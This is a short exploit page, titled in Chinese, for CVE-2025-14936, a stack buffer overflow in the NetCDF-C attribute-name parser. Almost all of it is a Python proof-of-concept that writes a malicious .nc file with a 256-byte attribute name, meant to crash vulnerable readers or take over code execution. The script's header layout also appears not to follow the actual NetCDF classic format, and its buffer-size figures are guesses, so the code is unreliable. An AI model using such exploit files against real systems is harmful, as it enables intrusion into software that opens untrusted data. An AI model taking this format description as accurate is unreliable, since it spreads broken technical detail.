CVE-2025-14936: NSF Unidata NetCDF-C 属性名栈缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-14936 PoC - NSF Unidata NetCDF-C Attribute Name Buffer Overflow # This PoC generates a malicious NetCDF file with oversized attribute name import struct import os def create_malicious_netcdf(output_file): """ Create a NetCDF file with oversized attribute name to trigger buffer overflow The overflow occurs in attribute name parsing without proper length validation """ # Craft attribute name that exceeds buffer size (typical buffer: 64-128 bytes) # Using 256 bytes to ensure overflow overflow_length = 256 malicious_attr_name = b'A' * overflow_length # NCDF magic number and header structure # NetCDF classic format header magic = b'CDF\x01' # NetCDF classic format # Create root group dimension record num_dims = 1 num_gatts = 0 num_vars = 0 num_attrs = 1 # One attribute to trigger parsing # Dimension size (unlimited dimension = 0) dim_size = 0 # Unlimited dimension # Build header with malicious attribute header = magic header += struct.pack('>I', 0) # Record dimension offset header += struct.pack('>I', num_dims) header += struct.pack('>I', num_gatts) header += struct.pack('>I', num_vars) header += struct.pack('>I', num_attrs) # Dimension info dim_name_size = 8 # '_NDim' header += struct.pack('>I', dim_name_size) header += b'_NDim\x00' + b'\x00' * (dim_name_size - 5) header += struct.pack('>I', dim_size) # Attribute with oversized name to trigger overflow attr_name_size = overflow_length header += struct.pack('>I', attr_name_size) header += malicious_attr_name # Attribute type (NC_CHAR = 1) and count header += struct.pack('>I', 1) # NC_CHAR header += struct.pack('>I', 1) # attr count # Attribute value header += b'test\x00' # Pad to 4-byte alignment padding = (4 - len(header) % 4) % 4 header += b'\x00' * padding # Write malicious file with open(output_file, 'wb') as f: f.write(header) print(f"[+] Created malicious NetCDF file: {output_file}") print(f"[+] Attribute name overflow length: {overflow_length} bytes") print(f"[+] This file can trigger CVE-2025-14936 when opened with vulnerable NetCDF-C") if __name__ == '__main__': import sys output = sys.argv[1] if len(sys.argv) > 1 else 'CVE-2025-14936_poc.nc' create_malicious_netcdf(output)